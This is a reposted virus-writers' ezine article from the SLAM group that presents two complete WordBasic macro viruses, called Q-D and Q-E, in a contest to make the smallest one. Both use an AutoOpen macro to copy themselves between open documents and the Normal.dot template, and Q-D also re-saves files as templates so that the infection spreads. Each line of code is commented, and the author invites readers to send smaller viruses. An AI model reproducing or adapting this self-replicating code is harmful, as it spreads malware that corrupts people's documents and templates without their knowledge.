Copy Link
Add to Bookmark
Report

SLAM2.003: WordMacro Q by NJ [SLAM]

eZine's profile picture
Published in 
Slam
 · 22 Feb 2022

The smallest Macro virus!?

This time I have tried to make the smallest macro virus. Ok, look at the result.

---Here start's the code of the Q-D virus------------- 

Sub MAIN

'If any error go to the next command.
'a$ = active file + macro "AutoopeN"

On Error Resume Next : a$=FileName$() + ":AutoopeN"

'b$ = Normal.dot + macro "aUTOOPEn".
'Copy the AutoopeN macro from the active file to Normal.dot.
'If the active file isn't infected go to the next command.

b$="Global:aUTOOPEn" : MacroCopy a$, b$

'Save the active file as a template and
'copy the aUTOOPEn macro from Normal.dot to the active file.

FileSaveAs .Format = 1 : MacroCopy b$, a$

'the code ends here.

End Sub
------------------------------------------------------


So, the size of this virus is now only 101 Bytes and it can infect every text file. But of course that's not the smallest macro virus, because if we could make a virus with 101 Bytes, which can infect every text file we should can make a smaller virus, which can only infect dot files.

(= Intended)
And here is it:

----The code of the Q-E virus start's here------------ 

Sub MAIN

'If any error go to the next command and
'a$ = active file + macro "AutoopeN"

On Error Resume Next : a$=FileName$() + ":AutoopeN"

'b$ = Normal.dot + macro "aUTOOPEn".
'Copy the AutoopeN macro from the active file to normal.dot.
'If the active file isn't infected go to the next command.

b$="Global:aUTOOPEn" : MacroCopy a$, b$

'Copy now the aUTOOPEn macro from Normal.dot to the active file.

MacroCopy b$, a$

'the code ends here.

End Sub
------------------------------------------------------


OK, I think that's the smallest macro virus.

The size is only 90 Bytes. ;-))

If you can make a smaller macro virus, please send it me.

Nightmare Joker [SLAM]

njoker@lords.com

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT